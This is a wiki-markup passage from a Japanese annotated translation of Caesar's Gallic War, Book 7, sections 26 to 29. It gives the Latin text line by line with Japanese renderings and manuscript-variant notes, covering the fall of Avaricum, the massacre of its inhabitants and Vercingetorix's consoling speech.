*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:iam#Latin|Iam]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;hoc&lt;/u&gt; facere [[wikt:en:noctu#Latin|noctu]] [[wikt:en:apparabant#Latin|apparabant]], 
**すでに、&lt;u&gt;このことを&lt;/u&gt;実行することを夜間に準備していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:haec#Latin|haec]]&lt;sub&gt;&amp;nbsp;(中性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed.pr]] では [[wikt:en:hoc#Latin:_this|hoc]]&lt;sub&gt;&amp;nbsp;(中性･単数･対格)&lt;/sub&gt; としている。）&lt;/span&gt;
*&lt;u&gt;cum&lt;/u&gt; [[wikt:en:mater#Latin|matres]] [[wikt:en:familia#Latin|familiae]] [[wikt:en:repente#Adverb_2|repente]] in [[wikt:en:publicum#Noun|publicum]] [[wikt:en:procurrerunt#Latin|procurrerunt]], 
**そのときに家族の母親たちが不意に公の場に走り出て来て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cum は、「倒逆のcum」（[[wikt:en:cum inversum|cum inversum]]）と呼ばれ、&lt;br&gt;　　　　cum 以下 ～ impediret までの副文が、上記の主文よりも重要な構文の中心になる。）&lt;/span&gt;
*[[wikt:en:flens#Latin|flentes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:proiectus#Latin|proiectae]] ad [[wikt:en:pes#Latin|pedes]] suorum 
**泣きながら、味方&lt;small&gt;（の男たち）&lt;/small&gt;の足元に&lt;small&gt;（身を）&lt;/small&gt;投げ出して、
*omnibus [[wikt:en:prex#Latin|precibus]] [[wikt:en:petierunt#Latin|petierunt]], 
**あらゆる懇願でもって頼んだ。
*ne se et [[wikt:en:communis#Latin|communes]] [[wikt:en:liberi#Noun_2|liberos]] hostibus ad [[wikt:en:supplicium#Latin|supplicium]] [[wikt:en:dederent#Latin|dederent]], 
**自分たち&lt;small&gt;〔女たち〕&lt;/small&gt;と&lt;small&gt;（男たちとの）&lt;/small&gt;共通の子供たちを、処刑されることのために敵方に引き渡さないで、
*&lt;u&gt;quos&lt;/u&gt; ad [[wikt:en:capiendus#Latin|capiendam]] [[wikt:en:fuga#Latin|fugam]] [[wikt:en:natura#Latin|naturae]] et [[wikt:en:vis#Latin|virium]] [[wikt:en:infirmitas#Latin|infirmitas]] [[wikt:en:impediret#Latin|impediret]]. 
**それらの者&lt;small&gt;〔女子供たち〕&lt;/small&gt;が逃亡をとるためには、性質や体力の弱さが、妨げるのだ、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:quos#Latin|quos]]&lt;sub&gt;&amp;nbsp;(男性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:quas#Latin|quas]]&lt;sub&gt;&amp;nbsp;(女性･複数･対格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　窮した母親たちが、男たちの脱出の兆候をローマ人に伝えようとする
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] eos in [[wikt:en:sententia#Latin|sententia]] [[wikt:en:perstare#Latin|perstare]] [[wikt:en:viderunt#Latin|viderunt]], 
**彼ら&lt;small&gt;〔男たち〕&lt;/small&gt;が&lt;small&gt;（女･子供を置き去りで脱出するという）&lt;/small&gt;意思を固持していると&lt;small&gt;〔女たちが〕&lt;/small&gt;見て取るや、
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:plerumque#Adverb|plerumque]] in [[wikt:en:summus#Latin|summo]] [[wikt:en:periculum#Latin|periculo]] [[wikt:en:timor#Latin|timor]] [[wikt:en:misericordia#Latin|misericordiam]] non [[wikt:en:recipit#Latin|recipit]], 
**──というのは、たいてい最大級の危険においては、恐怖が&lt;ruby&gt;&lt;rb&gt;憐憫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れんびん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を受け入れないものであるからだが、──
*[[wikt:en:conclamo#Latin|conclamare]] et [[wikt:en:significo#Latin|significare]] de [[wikt:en:fuga#Latin|fuga]] [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:coeperunt#Latin|coeperunt]]. 
**&lt;small&gt;（女たちは）&lt;/small&gt;叫び声を上げて、ローマ人たちに&lt;small&gt;（男たちの）&lt;/small&gt;逃亡について知らしめ始めた。
:　
;　　　ガッリア勢の男たちが、ローマ側の騎兵隊を恐れて、アウァーリクム脱出を断念する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] [[wikt:en:timor#Latin|timore]] [[wikt:en:perterritus#Latin|perterriti]] [[wikt:en:Galli#Latin|Galli]], 
**&lt;small&gt;（女たちがローマ側へ男たちの脱出について報知したことで）&lt;/small&gt;その恐怖によって脅かされたガッリア人&lt;small&gt;（の男）&lt;/small&gt;たちは、
*[[wikt:en:ne#Latin:_no|ne]] ab [[wikt:en:equitatus#Latin|equitatu]] Romanorum [[wikt:en:via#Latin|viae]] [[wikt:en:praeoccuparentur#Latin|praeoccuparentur]], 
**ローマ方の[[w:騎兵|騎兵隊]]によって道があらかじめ占拠されないように、
*[[wikt:en:consilium#Latin|consilio]] [[wikt:en:destiterunt#Latin|destiterunt]].
**&lt;small&gt;（アウァーリクムからの脱出の）&lt;/small&gt;計画を取り止めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===27節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|300px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（再掲；[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の周辺には、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）の両端を開いて多数つないだ廊下状の通路（坑道）が延びている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/27節]]　{{進捗|00%|2026-08-01}}&lt;/span&gt;
;ローマ軍が大雨の中でアウァーリクムの城壁を占拠
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die Caesar, 
**翌日にカエサルは、
*[[wikt:en:promotus#Latin|promota]] [[wikt:en:turris#Latin|turri]] 
**&lt;small&gt;（後退していた）&lt;/small&gt;[[w:攻城塔|攻城櫓]]&lt;small&gt;（の1基）&lt;/small&gt;が前進させられて、
*&lt;u&gt;perfectis&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|operibus]], quae facere [[wikt:en:instituerat#Latin|instituerat]], 
**実施を定めていた作業が&lt;u&gt;成し遂げられると&lt;/u&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;pi;系写本では [[wikt:en:perfectis#Latin|perfectīs]] 「完成されると」だが、&lt;br&gt;　　　　　&amp;alpha;系･&amp;rho;系写本では [[wikt:en:derectis#Latin|dērēctīs]] 「整えられると」&lt;br&gt;　　　　となっている。）&lt;/span&gt;
*magno [[wikt:en:coortus#Latin|coorto]] &lt;u&gt;imbre&lt;/u&gt; 
**激しい嵐が起こったが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:imbre#Latin|imbre]] だが、&amp;beta;系写本では [[wikt:en:imbri#Latin|imbri]] となっている。）&lt;/span&gt;
*non [[wikt:en:inutilis#Latin|inutilem]] hanc ad [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:consilium#Latin|consilium]] [[wikt:en:tempestas#Latin|tempestatem]] &lt;u&gt;arbitratus est&lt;/u&gt;, 
**作戦計画を立てるために、この天候は不利ではないと思われた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:arbitratus#Participle|arbitratus]] est だが、&amp;beta;系写本では単に arbitratus となっている。）&lt;/span&gt;
*[[wikt:en:quod#Conjunction|quod]] paulo [[wikt:en:incautius#Adverb|incautius]] [[wikt:en:custodia#Latin|custodias]] in [[wikt:en:murus#Latin|muro]] [[wikt:en:dispositus#Latin|dispositas]] [[wikt:en:videbat#Latin|videbat]], 
**──というのは、城壁に配置された番兵たちが少しより油断していると見ていたからだが、──
*&lt;u&gt;suosque&lt;/u&gt; [[wikt:en:languide#Adverb|languidius]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:versor#Latin|versari]] [[wikt:en:iussit#Verb|iussit]] 
**配下の者たちには&lt;small&gt;（わざと）&lt;/small&gt;より緩慢に作業に従事することを命じて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:suos#Latin|suōs]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&amp;beta;系写本では [[wikt:en:suos#Latin|suōs]] [[wikt:en:quoque#Adverb|quoque]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quid#Pronoun_2|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:ostendit#Latin|ostendit]]. 
**何がなされることを&lt;small&gt;（カエサルが）&lt;/small&gt;欲しているか、を示した。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:legio#Latin|Legionibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;extra castra intra [[wikt:en:vinea#Latin|vineas]]&lt;/u&gt; in occulto [[wikt:en:expeditus#Participle|expeditis]], 
**[[w:ローマ軍団|諸軍団]]が&lt;u&gt;陣営の外の&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の内側で&lt;/u&gt;ひそかに準備を整えており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本や校訂版によって異同がある。[[ガリア戦記_第7巻/注解/27節#注記|注記]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;
*[[wikt:en:cohortatus#Latin|cohortatus]], ut [[wikt:en:aliquando#Latin|aliquando]] pro [[wikt:en:tantus#Latin|tantis]] [[wikt:en:labor#Latin|laboribus]] [[wikt:en:fructus#Latin:_noun|fructum]] victoriae [[wikt:en:perciperent#Latin|perciperent]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;やっと、これほどの労苦の見合う勝利の報酬を我がものとするように激励し、
*iis, qui [[wikt:en:primus#Latin|primi]] [[wikt:en:murus#Latin|murum]] [[wikt:en:adscendissent#Latin|adscendissent]], [[wikt:en:praemium#Latin|praemia]] [[wikt:en:proposuit#Latin|proposuit]] 
**一番乗りとして城壁に登った者たちには、恩賞を約束して、
*[[wikt:en:miles#Latin|militibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:signum#Latin|signum]] [[wikt:en:dedit#Latin|dedit]]. 
**兵士たちに号令を発した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi [[wikt:en:subito#Adverb_8|subito]] ex omnibus partibus [[wikt:en:evolaverunt#Latin|evolaverunt]] 
**彼ら&lt;small&gt;〔ローマ軍団兵〕&lt;/small&gt;は不意にあらゆる方角から飛び出して、
*[[wikt:en:murus#Latin|murum]]&lt;nowiki&gt;que&lt;/nowiki&gt; celeriter [[wikt:en:compleverunt#Latin|compleverunt]].
**速やかに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁を埋め尽くしたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===28節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/28節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
;ローマ軍がアウァーリクムの市民4万人を大虐殺

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hostes re nova [[wikt:en:perterritus#Latin|perterriti]], 
**敵たち&lt;small&gt;〔籠城するガッリア勢〕&lt;/small&gt;は新たな事態に脅かされて、
*[[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turribus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:deiectus#Participle|deiecti]] 
**&lt;small&gt;（ローマ兵によって）&lt;/small&gt;城壁や櫓から追い落とされて、
*in [[wikt:en:forum#Latin|foro]] ac locis [[wikt:en:patentior#Latin|patentioribus]] [[wikt:en:cuneatim#Latin|cuneatim]] [[wikt:en:constiterunt#Etymology_1|constiterunt]], 
**&lt;ruby&gt;&lt;rb&gt;広場&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;フォルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や開けた場所に楔状に立ちふさがった。
*hoc animo, ut, si [[wikt:en:aliqui#Latin|qua]] ex parte [[wikt:en:obviam#Adverb|obviam]] &lt;span style=&quot;color:#009900;&quot;&gt;[&lt;/span&gt;contra&lt;span style=&quot;color:#009900;&quot;&gt;]&lt;/span&gt; [[wikt:en:veniretur#Latin|veniretur]], [[wikt:en:acies#Latin|acie]] [[wikt:en:instructus#Latin|instructa]] [[wikt:en:depugnarent#Latin|depugnarent]]. 
**もし、どの方向から相対して対抗して来られても、戦列を整えて決戦しようという心積もりでいたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:contra#Latin|contra]] は &amp;alpha;系･&amp;pi;系写本･写本Rにある記述だが、&lt;br&gt;　　　　　　　　写本U にはなく、削除提案されている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ubi [[wikt:en:nemo#Latin|neminem]] in aequum locum sese [[wikt:en:demitto#Latin|demittere]], sed [[wikt:en:totus#Latin:_whole|toto]] [[wikt:en:undique#Latin|undique]] [[wikt:en:murus#Latin|muro]] [[wikt:en:circumfundi#Latin|circumfundi]] [[wikt:en:viderunt#Latin|viderunt]], 
**&lt;small&gt;（ローマ兵が）&lt;/small&gt;誰も平らな所に降りて来ず、しかし城壁全体の至る所で取り囲まれたことを見たときに、
*[[wikt:en:veritus#Latin|veriti]], ne [[wikt:en:omnino#Latin|omnino]] spes fugae [[wikt:en:tolleretur#Latin|tolleretur]], 
**&lt;small&gt;（籠城ガッリア勢は）&lt;/small&gt;逃亡のあらゆる希望を奪われないかと怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：veriti, [[wikt:en:ne#Latin:_no|ne]] ～ 「～ではないかと恐れて」恐れの表現。）&lt;/span&gt;
*[[wikt:en:abiectus#Latin|abiectis]] [[wikt:en:arma#Latin|armis]] 
**武器を投げ捨てて、
*[[wikt:en:ultimus#Latin|ultimas]] oppidi partes 
**城塞都市の&lt;small&gt;（ローマ勢から）&lt;/small&gt;最も遠くの方面を
*[[wikt:en:continens#Latin|continenti]] [[wikt:en:impetus#Latin|impetu]] [[wikt:en:petiverunt#Latin|petiverunt]], 
**絶え間ない殺到によって求めた。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;u&gt;pars&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; ibi, cum [[wikt:en:angustus#Latin|angusto]] [[wikt:en:exitus#Latin|exitu]] portarum se ipsi [[wikt:en:premerent#Latin|premerent]], a militibus, 
**ある者たちは、城門の狭い出口で自分らで互いに押し合っていたので、そこで&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちによって&lt;small&gt;（殺され）&lt;/small&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:pars#Latin|pars]] ～, pars …「ある者たちは～、別の者たちは…」。）&lt;/span&gt;
*&lt;u&gt;pars&lt;/u&gt; iam [[wikt:en:egressus#Latin|egressa]] portis ab [[wikt:en:eques#Latin|equitibus]] est [[wikt:en:interfectus#Latin|interfecta]]. 
**別の者たちはすでに城門を出ていたが、&lt;small&gt;（ローマ側の）&lt;/small&gt;[[w:騎兵|騎兵]]たちによって虐殺された。

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:nec#Latin|Nec]] fuit [[wikt:en:quisquam#Pronoun|quisquam]], qui [[wikt:en:praeda#Latin|praedae]] [[wikt:en:studeret#Latin|studeret]]. 
**&lt;small&gt;（ローマ勢には）&lt;/small&gt;戦利品を熱心に求める何者もいなかった。
*[[wikt:en:sic#Latin|Sic]] et &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:caedes#Latin|caede]] et [[wikt:en:labor#Latin|labore]] [[wikt:en:opus#Latin|operis]] [[wikt:en:incitatus#Latin|incitati]] 
**このように、ケナブムの&lt;small&gt;（ローマ市民の）&lt;/small&gt;殺害にも、（攻城）作業の労苦にも煽られて
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カルヌーテース族によるローマ市民の殺害については[[#3節|3節]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cenabi は、&amp;alpha;系写本では [[wikt:en:Genabi#Latin|genabi]] &lt;br&gt;　　　　　　　　　　　　　&amp;rho;系写本や写本Tでは [[wikt:en:Genabensi#Adjective|genabensi]]&lt;br&gt;　　　　　　　　　　　　　写本Uおよび写本Tの一部では cenabensi となっている。&lt;br&gt;　　　　　　　　　　　　　なお、cenabi, cenabensi はケルト語風の表記である。）&lt;/span&gt;
*non [[wikt:en:aetas#Latin|aetate]] [[wikt:en:confectus#Latin|confectis]], 
**&lt;small&gt;（ローマ勢は）&lt;/small&gt;年老いた者たちも、
*non [[wikt:en:mulier#Latin|mulieribus]], 
**妻女たちも、
*non [[wikt:en:infans#Noun|infantibus]] [[wikt:en:pepercerunt#Latin|pepercerunt]]. 
**乳幼児たちも&lt;small&gt;（虐殺することを）&lt;/small&gt;思いとどまらなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ビトゥリゲース族はローマ市民の殺害には関与しておらず、報復される対象とするのは的外れである。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ましてや非戦闘員である老人・女性・子供たちまで殺戮するのは、戦争の狂気というしかない。）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:denique#Latin|Denique]] ex omni &lt;u&gt;&lt;span style=&quot;color:#009900;&quot;&gt;eo&lt;/span&gt;&lt;/u&gt; numero, qui fuit circiter milium XL&lt;small&gt;&amp;nbsp;([[wikt:en:quadraginta#Latin|quadraginta]])&lt;/small&gt;, 
**ついには、約40000名もいたすべての人員のうち、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:eo#Latin:_there|eo]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*vix DCCC&lt;small&gt;&amp;nbsp;([[wikt:en:octingenti#Latin|octingenti]])&lt;/small&gt;, qui primo [[wikt:en:clamor#Latin|clamore]] [[wikt:en:auditus#Latin|audito]] se ex oppido &lt;u&gt;eiecerunt&lt;/u&gt;, 
**やっと800名が、はじめにどよめきを聞いて、城塞都市から急ぎ出て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:eiecerunt#Latin|eiecerunt]]&lt;small&gt;&amp;nbsp;(直接法･完了)&lt;/small&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eiecerant#Latin|eiecerant]]&lt;small&gt;&amp;nbsp;(直接法･過去完了)&lt;/small&gt; となっている。）&lt;/span&gt;
*[[wikt:en:incolumis#Latin|incolumes]] ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:pervenerunt#Latin|pervenerunt]]. 
**無傷のままで[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ到着した。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Quos ille multa iam nocte &lt;u&gt;silentio&lt;/u&gt; ex fuga [[wikt:en:excepit#Latin|excepit]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、逃亡して来たその者たちを、すでに夜も更けた&lt;u&gt;静寂のうちに&lt;/u&gt;迎え入れた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:silentio#Latin|silentio]] だが、&amp;beta;系写本にはない。&lt;br&gt;　　　　　　他方、&amp;beta;系写本では [[wikt:en:sic#Latin|sic]] とあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]], ne qua in castris ex eorum [[wikt:en:concursus#Latin:_convergence|concursu]] et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]] seditio &lt;u&gt;oreretur&lt;/u&gt;, 
**彼らの密集や一般兵士たちの同情から、陣営の中で何らかの暴動が生じないように怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne [[wikt:en:aliqui#Latin|qua (aliqua)]] ～ [[wikt:en:seditio#Latin|seditio]]「何らかの暴動が～ないように」
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、一部の写本は [[wikt:en:oreretur#Latin|oreretur]] だが、&lt;br&gt;　　　　　　　　　他の写本では [[wikt:en:oriretur#Latin|oriretur]] となっているが、語形の相違。）&lt;/span&gt;
*ut procul in via [[wikt:en:dispositus#Latin|dispositis]] [[wikt:en:familiaris#Noun|familiaribus]] suis [[wikt:en:princeps#Latin|principibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:civitas#Latin|civitatum]], 
**自らの郎党たちや部族の領袖たちを&lt;small&gt;&lt;/small&gt;（陣営の）遠くから道沿いに配置して、
*[[wikt:en:disparandus#Latin|disparandos]] [[wikt:en:deducendus#Latin|deducendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; ad suos [[wikt:en:curaret#Latin|curaret]], 
**&lt;small&gt;（敗走者たちを）&lt;/small&gt;味方のもとへ、引き離して連れて行くように手配した。
*quae [[wikt:en:cuique#Latin|cuique]] civitati pars castrorum ab [[wikt:en:initium#Latin|initio]] [[wikt:en:obvenerat#Latin|obvenerat]].
**陣営の各部分は、おのおのの部族にはじめから与えられていたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===29節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/29節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
[[画像:Vercingetorix stater CdM.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
;ウェルキンゲトリークスが演説で味方を鼓舞する

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die [[wikt:en:concilium#Latin|concilio]] [[wikt:en:convocatus#Latin|convocato]], 
**翌日に、会合が召集されると、
*[[wikt:en:consolatus#Latin|consolatus]] [[wikt:en:cohortatus#Latin|cohortatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; est, 
**&lt;small&gt;（ウェルキンゲトリークスは、味方の者たちを）&lt;/small&gt;慰めて、励ました：
*&lt;u&gt;ne&lt;/u&gt; se [[wikt:en:admodum#Latin|admodum]] animo [[wikt:en:demitterent#Latin|demitterent]], 
**あまり気を落とさないように、
*&lt;u&gt;ne&lt;/u&gt; [[wikt:en:perturbarentur#Latin|perturbarentur]] [[wikt:en:incommodum#Latin|incommodo]]. 
**敗北により取り乱さないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の下線部は、&amp;alpha;系写本では [[wikt:en:ne#Latin:_no|ne]] ～ ne だが、&lt;br&gt;　　　　　　　　　　　&amp;beta;系写本では ne ～ [[wikt:en:neve#Latin|neve]] となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Non [[wikt:en:virtus#Latin|virtute]] neque in [[wikt:en:acies#Latin|acie]] [[wikt:en:vicisse#Latin|vicisse]] [[wikt:en:Romani#Latin|Romanos]], 
**ローマ人たちが勝ったのは、武勇においてでも、戦列&lt;small&gt;〔野外の合戦〕&lt;/small&gt;においてでもなく、
*sed [[wikt:en:artificium#Noun|artificio]] [[wikt:en:quidam#Determiner|quodam]] et [[wikt:en:scientia#Latin:_knowledge|scientia]] [[wikt:en:oppugnatio#Latin|oppugnationis]], 
**ある種の技巧および攻城戦の知識によるものであって、
*cuius rei [[wikt:en:fuerint#Latin|fuerint]] ipsi [[wikt:en:imperitus#Latin|imperiti]]. 
**その事柄に&lt;small&gt;（ガッリア人）&lt;/small&gt;自身が通じていなかったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第5巻#42節|第5巻42節]]では、ネルウィイー族らガッリア北部のベルガエ勢はローマ人の攻城術をまねていた。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:erro#Latin:_wander|Errare]], si [[wikt:en:aliqui#Latin|qui]] in [[wikt:en:bellum#Latin|bello]] omnes [[wikt:en:secundus#Adjective|secundos]] rerum [[wikt:en:proventus#Latin|proventus]] [[wikt:en:exspectent#Latin|exspectent]]. 
**誰であれ、戦争において、万事が順調な成功になることを期待するのならば、&lt;small&gt;（その者らは）&lt;/small&gt;誤っている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：語順が判りにくいが、&lt;br&gt;　　　　物事のすべて（omnes rerum）が幸運な結果（secundos proventus）であることを期待するのならば～。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：errare の意味上の主語（[[wikt:en:eos#Latin|eos]]）が省略されている。）&lt;/span&gt;

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sibi [[wikt:en:numquam#Latin|numquam]] [[wikt:en:placuisse#Latin|placuisse]] [[wikt:en:Avaricum#Latin|Avaricum]] [[wikt:en:defendi#Latin|defendi]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;にとって、アウァーリクムが防衛されることは決して好ましいものではなかった。
*cuius rei [[wikt:en:testis#Latin:_witness|testes]] ipsos [[wikt:en:haberet#Latin|haberet]]; 
**その事の証人は&lt;small&gt;（諸君ら）&lt;/small&gt;自身である。
*sed &lt;u&gt;factum&lt;/u&gt; [[wikt:en:inprudentia#Latin|inprudentia]] [[wikt:en:Bituriges#Latin|Biturigum]] et [[wikt:en:nimius#Latin|nimia]] [[wikt:en:obsequentia#Latin|obsequentia]] reliquorum, &lt;u&gt;uti&lt;/u&gt; hoc [[wikt:en:incommodum#Latin|incommodum]] [[wikt:en:acciperetur#Latin|acciperetur]].
**だが、ビトゥリゲース族の軽率さと、ほかの者たちの過度な同調により、この敗北を蒙るようになったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:factus#Latin:_done|factum]] (esse) ～ [[wikt:en:uti#Latin:_how|uti]] …「…ようになった」）&lt;/span&gt;

:　
